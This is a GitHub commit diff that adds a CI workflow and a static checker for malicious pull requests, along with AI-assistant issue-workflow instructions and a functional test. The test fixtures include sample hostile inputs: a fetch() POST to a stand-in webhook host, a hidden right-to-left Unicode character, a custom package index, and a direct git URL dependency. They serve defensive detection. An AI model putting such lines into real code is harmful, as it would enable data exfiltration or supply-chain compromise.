Skip to content

Commit af5a28f

Browse files
authored
Merge pull request #984 from paullizer/feature/workflows-and-prompts
Add malicious PR security review workflow
2 parents d924008 + fefcd4a commit af5a28f

8 files changed

Lines changed: 1546 additions & 1 deletion

File tree

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
---
2+
applyTo: '**'
3+
---
4+
5+
# GitHub Issue Workflow
6+
7+
## When Starting Work
8+
9+
At the start of meaningful work, determine whether there is an associated GitHub issue for the task.
10+
11+
- If the user mentions an issue number or URL, treat that as the associated issue and keep it in mind for summaries, PR notes, release notes, and later status updates.
12+
- If no issue is mentioned and the work is more than a tiny clarification or one-off command, ask the admin whether they want to create an issue before or alongside the work.
13+
- If the admin wants an issue created, use the existing `Create GitHub Issue` prompt in `.github/prompts/create-github-issue.prompt.md`.
14+
- Do not block urgent fixes, small investigations, or explicitly time-sensitive work just because there is no issue yet. Continue the work and ask at the next natural checkpoint.
15+
16+
## Issue Association
17+
18+
When an issue exists or is created for the work:
19+
20+
- Track it as the working associated issue for the current task.
21+
- Reference the issue in relevant summaries, PR descriptions, fix documentation, feature documentation, and release note entries when appropriate.
22+
- Prefer durable references such as `Fixes #123`, `Closes #123`, or `Refs #123` when the change directly resolves, completes, or relates to the issue.
23+
- Do not create duplicate issues. Use the issue creation prompt's duplicate-search workflow before creating a new issue.
24+
25+
## When To Suggest Updating Issues
26+
27+
Prompt the admin to update the associated issue at natural checkpoints, not on every interaction.
28+
29+
Ask whether to update the associated issue when any of these occur:
30+
31+
- The implementation is complete or materially changes direction.
32+
- Important validation results are available.
33+
- Scope, priority, acceptance criteria, or user impact changes.
34+
- A blocker, dependency, risk, or follow-up task is discovered.
35+
- Release notes are being updated or the admin is asked whether to update release notes.
36+
37+
Use concise wording such as:
38+
39+
> Would you like me to update the associated GitHub issue with the summary, validation, and any follow-ups from this work?
40+
41+
If there is no associated issue at one of these checkpoints, ask whether the admin wants to create one using the `Create GitHub Issue` prompt.
42+
43+
## What To Put In Issue Updates
44+
45+
When the admin approves an issue update, include only useful status information:
46+
47+
- What changed.
48+
- Current validation status and relevant test results.
49+
- Any unresolved risks, blockers, or follow-ups.
50+
- Links or references to related PRs, documentation, or release notes when available.
51+
52+
Do not post noisy progress comments, implementation chatter, or repeated updates that do not change the issue's useful state.

.github/instructions/update_release_notes.instructions.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@ After completing a code change (bug fix, new feature, enhancement, or breaking c
1010

1111
**"Would you like me to update the release notes in `docs/explanation/release_notes.md`?"**
1212

13+
When asking this, also ask whether the associated GitHub issue should be updated. If there is no associated issue, ask whether the admin wants to create one using `.github/prompts/create-github-issue.prompt.md`.
14+
1315
## If the User Confirms Yes
1416

1517
Update the release notes file following these guidelines:

.github/prompts/malicious-pr-and-file-security-review.prompt.md

Lines changed: 282 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
name: Malicious PR Security Review
2+
3+
on:
4+
pull_request:
5+
branches:
6+
- Development
7+
paths:
8+
- 'application/**'
9+
- 'deployers/**'
10+
- 'docker-customization/**'
11+
- 'scripts/**'
12+
- 'functional_tests/**'
13+
- 'ui_tests/**'
14+
- 'requirements*.txt'
15+
- '**/requirements*.txt'
16+
- '**/package.json'
17+
- '**/package-lock.json'
18+
- '**/npm-shrinkwrap.json'
19+
- '**/pnpm-lock.yaml'
20+
- '**/yarn.lock'
21+
- '**/pyproject.toml'
22+
- '**/poetry.lock'
23+
- '**/Pipfile'
24+
- '**/Pipfile.lock'
25+
- '**/Dockerfile'
26+
- '.github/workflows/**'
27+
- '.github/prompts/**'
28+
- '.github/instructions/**'
29+
- 'docs/**'
30+
workflow_dispatch:
31+
inputs:
32+
base_ref:
33+
description: 'Base ref or SHA for the review range'
34+
required: true
35+
default: 'Development'
36+
head_ref:
37+
description: 'Head ref or SHA for the review range. Defaults to the workflow SHA.'
38+
required: false
39+
default: ''
40+
full_file_scan:
41+
description: 'Scan full changed files instead of only changed lines'
42+
type: boolean
43+
required: false
44+
default: false
45+
verify_release_age:
46+
description: 'Query PyPI/npm metadata for the seven-day dependency gate'
47+
type: boolean
48+
required: false
49+
default: true
50+
fail_on_findings:
51+
description: 'Fail on all findings instead of only blockers'
52+
type: boolean
53+
required: false
54+
default: false
55+
fail_on_unverified_release_age:
56+
description: 'Fail when dependency release age cannot be verified'
57+
type: boolean
58+
required: false
59+
default: false
60+
61+
permissions:
62+
contents: read
63+
pull-requests: read
64+
65+
jobs:
66+
malicious-pr-security-review:
67+
runs-on: ubuntu-latest
68+
69+
steps:
70+
- name: Checkout code
71+
uses: actions/checkout@v4
72+
with:
73+
fetch-depth: 0
74+
75+
- name: Set up Python
76+
uses: actions/setup-python@v5
77+
with:
78+
python-version: '3.12'
79+
80+
- name: Resolve review range
81+
id: review-range
82+
shell: bash
83+
run: |
84+
if [[ "${{ github.event_name }}" == "pull_request" ]]; then
85+
echo "base_sha=${{ github.event.pull_request.base.sha }}" >> "$GITHUB_OUTPUT"
86+
echo "head_sha=${{ github.sha }}" >> "$GITHUB_OUTPUT"
87+
exit 0
88+
fi
89+
90+
git fetch --all --prune
91+
base_ref="${{ inputs.base_ref }}"
92+
head_ref="${{ inputs.head_ref }}"
93+
if [[ -z "$head_ref" ]]; then
94+
head_ref="${{ github.sha }}"
95+
fi
96+
97+
base_sha="$(git rev-parse "origin/${base_ref}^{commit}" 2>/dev/null || git rev-parse "${base_ref}^{commit}")"
98+
head_sha="$(git rev-parse "${head_ref}^{commit}")"
99+
100+
echo "base_sha=$base_sha" >> "$GITHUB_OUTPUT"
101+
echo "head_sha=$head_sha" >> "$GITHUB_OUTPUT"
102+
103+
- name: Run malicious PR static security review
104+
env:
105+
BASE_SHA: ${{ steps.review-range.outputs.base_sha }}
106+
HEAD_SHA: ${{ steps.review-range.outputs.head_sha }}
107+
run: |
108+
review_args=(
109+
--base-sha "$BASE_SHA"
110+
--head-sha "$HEAD_SHA"
111+
--report-file artifacts/malicious-pr-security-review.md
112+
)
113+
114+
if [[ "${{ github.event_name }}" == "workflow_dispatch" && "${{ inputs.full_file_scan }}" == "true" ]]; then
115+
review_args+=(--full-file)
116+
fi
117+
118+
if [[ "${{ github.event_name }}" != "workflow_dispatch" || "${{ inputs.verify_release_age }}" == "true" ]]; then
119+
review_args+=(--verify-release-age)
120+
fi
121+
122+
if [[ "${{ github.event_name }}" == "workflow_dispatch" && "${{ inputs.fail_on_findings }}" == "true" ]]; then
123+
review_args+=(--fail-on-findings)
124+
fi
125+
126+
if [[ "${{ github.event_name }}" == "workflow_dispatch" && "${{ inputs.fail_on_unverified_release_age }}" == "true" ]]; then
127+
review_args+=(--fail-on-unverified-release-age)
128+
fi
129+
130+
python scripts/check_malicious_pr_security_review.py "${review_args[@]}"
131+
132+
- name: Publish review summary
133+
if: always()
134+
run: |
135+
if [[ -f artifacts/malicious-pr-security-review.md ]]; then
136+
cat artifacts/malicious-pr-security-review.md >> "$GITHUB_STEP_SUMMARY"
137+
else
138+
echo "Malicious PR security review report was not created." >> "$GITHUB_STEP_SUMMARY"
139+
fi
140+
141+
- name: Upload review report
142+
if: always()
143+
uses: actions/upload-artifact@v4
144+
with:
145+
name: malicious-pr-security-review
146+
path: artifacts/malicious-pr-security-review.md
147+
if-no-files-found: warn

application/single_app/config.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@
9595
EXECUTOR_TYPE = 'thread'
9696
EXECUTOR_MAX_WORKERS = 30
9797
SESSION_TYPE = 'filesystem'
98-
VERSION = "0.250.005"
98+
VERSION = "0.250.006"
9999

100100
SESSION_COOKIE_SAMESITE = os.getenv('SESSION_COOKIE_SAMESITE', 'Lax')
101101
SESSION_COOKIE_HTTPONLY = os.getenv('SESSION_COOKIE_HTTPONLY', 'true').lower() != 'false'

docs/explanation/release_notes.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,15 @@
22

33
For feature-focused and fix-focused drill-downs by version, see [Features by Version](/explanation/features/) and [Fixes by Version](/explanation/fixes/).
44

5+
### **(v0.250.006)**
6+
7+
#### New Features
8+
9+
* **Malicious PR Security Review Workflow**
10+
* Added a static malicious-change review workflow for pull requests into `Development`, with manual dispatch options for custom review ranges and full-file scans.
11+
* Added a reusable security review prompt and focused functional coverage for dependency pinning policy, hidden Unicode detection, suspicious egress markers, and workflow wiring.
12+
* (Ref: malicious PR security review, `.github/workflows/malicious-pr-security-review.yml`, `scripts/check_malicious_pr_security_review.py`)
13+
514
### **(v0.250.005)**
615

716
#### New Features
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
#!/usr/bin/env python3
2+
# test_malicious_pr_security_review_checker.py
3+
"""
4+
Functional test for Malicious PR Security Review CI guardrails.
5+
Version: 0.250.006
6+
Implemented in: 0.250.006
7+
8+
This test ensures the malicious PR/file security review checker flags the
9+
highest-risk dependency and hidden-payload patterns, records suspicious egress
10+
markers for human review, and stays wired into the GitHub Actions workflow.
11+
"""
12+
13+
import importlib.util
14+
import sys
15+
from pathlib import Path
16+
17+
18+
ROOT_DIR = Path(__file__).resolve().parents[1]
19+
CHECKER_FILE = ROOT_DIR / 'scripts' / 'check_malicious_pr_security_review.py'
20+
WORKFLOW_FILE = ROOT_DIR / '.github' / 'workflows' / 'malicious-pr-security-review.yml'
21+
PROMPT_FILE = ROOT_DIR / '.github' / 'prompts' / 'malicious-pr-and-file-security-review.prompt.md'
22+
CONFIG_FILE = ROOT_DIR / 'application' / 'single_app' / 'config.py'
23+
24+
25+
def read_text(path: Path) -> str:
26+
"""Read a UTF-8 text file from the repository."""
27+
return path.read_text(encoding='utf-8')
28+
29+
30+
def load_checker_module():
31+
"""Import the checker module from disk without mutating sys.path."""
32+
spec = importlib.util.spec_from_file_location('check_malicious_pr_security_review', CHECKER_FILE)
33+
assert spec is not None and spec.loader is not None, 'Expected a module spec for the checker'
34+
module = importlib.util.module_from_spec(spec)
35+
sys.modules[spec.name] = module
36+
spec.loader.exec_module(module)
37+
return module
38+
39+
40+
def read_config_version() -> str:
41+
"""Extract the current application version from config.py."""
42+
for line in read_text(CONFIG_FILE).splitlines():
43+
if line.strip().startswith('VERSION = '):
44+
return line.split('=', 1)[1].strip().strip('"')
45+
raise AssertionError('VERSION assignment not found in config.py')
46+
47+
48+
def test_dependency_gate_blocks_unpinned_python_requirements_and_collects_exact_pins() -> None:
49+
"""Verify unsafe Python requirement forms are blockers and exact pins are collected."""
50+
module = load_checker_module()
51+
findings = []
52+
releases = []
53+
requirements_source = """
54+
requests==2.32.4
55+
flask>=3.0
56+
--extra-index-url https://packages.example.invalid/simple
57+
git+https://example.invalid/package.git
58+
""".strip()
59+
60+
module.inspect_requirements_file(
61+
ROOT_DIR / 'requirements-test.txt',
62+
requirements_source,
63+
findings,
64+
releases,
65+
)
66+
67+
blocker_messages = [finding.message for finding in findings if finding.verdict == 'Blocker']
68+
assert any('not exactly pinned' in message for message in blocker_messages), blocker_messages
69+
assert any('custom index' in message for message in blocker_messages), blocker_messages
70+
assert any('direct URL' in message for message in blocker_messages), blocker_messages
71+
assert [(release.package_name, release.version) for release in releases] == [('requests', '2.32.4')]
72+
73+
74+
def test_checker_flags_hidden_unicode_and_records_suspicious_egress_markers() -> None:
75+
"""Verify hidden Unicode blocks and external egress markers are reported."""
76+
module = load_checker_module()
77+
findings = []
78+
source = "fetch('https://example.invalid/webhook', { method: 'POST' });\n" + "\u202e"
79+
80+
urls = module.scan_text_patterns(
81+
ROOT_DIR / 'application' / 'single_app' / 'static' / 'js' / 'sample.js',
82+
source,
83+
changed_lines=None,
84+
full_file=True,
85+
findings=findings,
86+
)
87+
88+
assert 'https://example.invalid/webhook' in urls
89+
assert any(finding.verdict == 'Blocker' and 'Hidden Unicode' in finding.message for finding in findings), findings
90+
assert any('external connection' in finding.message for finding in findings), findings
91+
92+
93+
def test_npm_and_docker_dependency_policy_review() -> None:
94+
"""Verify npm floating ranges and Docker latest tags are rejected."""
95+
module = load_checker_module()
96+
findings = []
97+
releases = []
98+
99+
module.inspect_package_json(
100+
ROOT_DIR / 'package.json',
101+
'{"dependencies":{"safe":"1.2.3","floating":"^4.5.6"}}',
102+
findings,
103+
releases,
104+
)
105+
module.inspect_dockerfile(
106+
ROOT_DIR / 'Dockerfile',
107+
'FROM python:latest\n',
108+
findings,
109+
)
110+
111+
blocker_messages = [finding.message for finding in findings if finding.verdict == 'Blocker']
112+
assert any('npm dependency is not pinned' in message for message in blocker_messages), blocker_messages
113+
assert any('Docker base image is floating' in message for message in blocker_messages), blocker_messages
114+
assert [(release.package_name, release.version) for release in releases] == [('safe', '1.2.3')]
115+
116+
117+
def test_checker_workflow_prompt_and_version_are_wired_into_repo() -> None:
118+
"""Verify the checker, workflow, prompt, and version bump landed together."""
119+
assert CHECKER_FILE.exists(), f'Expected checker script at {CHECKER_FILE}'
120+
assert WORKFLOW_FILE.exists(), f'Expected workflow file at {WORKFLOW_FILE}'
121+
assert PROMPT_FILE.exists(), f'Expected prompt file at {PROMPT_FILE}'
122+
assert read_config_version() == '0.250.006'
123+
124+
workflow_source = read_text(WORKFLOW_FILE)
125+
assert 'Malicious PR Security Review' in workflow_source
126+
assert 'pull_request' in workflow_source
127+
assert 'workflow_dispatch' in workflow_source
128+
assert 'scripts/check_malicious_pr_security_review.py' in workflow_source
129+
assert '--verify-release-age' in workflow_source
130+
assert 'actions/upload-artifact@v4' in workflow_source
131+
132+
prompt_source = read_text(PROMPT_FILE)
133+
assert 'Dependency Gate' in prompt_source
134+
assert 'High-Risk Search Patterns' in prompt_source
135+
assert 'Do not run untrusted code' in prompt_source
136+
137+
138+
if __name__ == '__main__':
139+
tests = [
140+
test_dependency_gate_blocks_unpinned_python_requirements_and_collects_exact_pins,
141+
test_checker_flags_hidden_unicode_and_records_suspicious_egress_markers,
142+
test_npm_and_docker_dependency_policy_review,
143+
test_checker_workflow_prompt_and_version_are_wired_into_repo,
144+
]
145+
results = []
146+
147+
for test in tests:
148+
print(f'Running {test.__name__}...')
149+
try:
150+
test()
151+
print('PASS')
152+
results.append(True)
153+
except Exception as exc:
154+
print(f'FAIL: {exc}')
155+
results.append(False)
156+
157+
success = all(results)
158+
print(f'Results: {sum(results)}/{len(results)} tests passed')
159+
sys.exit(0 if success else 1)

0 commit comments

Comments
 (0)